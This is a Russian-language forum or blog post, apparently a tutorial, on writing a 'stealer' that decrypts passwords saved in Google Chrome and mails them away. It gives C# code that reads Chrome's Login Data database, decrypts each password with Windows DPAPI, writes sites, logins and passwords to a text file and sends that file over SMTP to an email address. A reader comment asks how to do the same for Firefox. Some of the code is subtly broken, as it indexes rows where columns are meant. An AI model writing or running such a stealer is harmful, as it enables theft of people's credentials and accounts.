Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту. Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа. Мастер – ключ - это комбинация следующих элементов: SID — уникальный идентификатор безопасности. HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений). PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей. MasterKey BLOB — это как раз данные с зашифрованным ключом. Подробнее почитать тут https://habrahabr.ru/post/148602/ Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы. Давайте напишем такой стиллер. Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код: string fileDb = @"C:\Users\Adminka\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным string connectionString = $"Data Source = {fileDb}"; string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8); string dbWay = "Login Data"; string db_fields = "logins"; // база паролей SQLITE byte[] entropy = null; string description; DataTable db = new DataTable(); string sql = $"SELECT * FROM {db_fields}"; using (SQLiteConnection connection = new SQLiteConnection(connectionString)) { SQLiteCommand command = new SQLiteCommand(sql, connection); SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); adapter.Fill(db); } int rows = db.Rows.Count; Console.WriteLine($"Всего записей: {rows}"); for (int i = 0; i < rows; i++) { string url = db.Rows[1].ToString(); string login = db.Rows[3].ToString(); byte[] byteArray = (byte[])db.Rows[5]; byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); string password = new UTF8Encoding(true).GetString(decrypted); sw.WriteLine("----------------------------"); sw.WriteLine($"Номер: {i}"); sw.WriteLine($"Сайт: {url}"); sw.WriteLine($"Логин: {login}"); sw.WriteLine($"Пароль: {password}"); } sw.Close(); MailSend.SendMail("smtp.mail.ru", "https://vk.com/[email protected]", "password", "https://vk.com/[email protected]", "Пароли", fileName, fileName); Console.ReadKey(); Код класса DPAPI Взят отсюда http://www.obviex.com/samples/dpapi.aspx
Ты сделал мой день бро! Боже! Как долго я ждал этой заметки! От души спасибо! пример пренепременно проверю! И попутно вопрос - а как это реализовано в Firefox?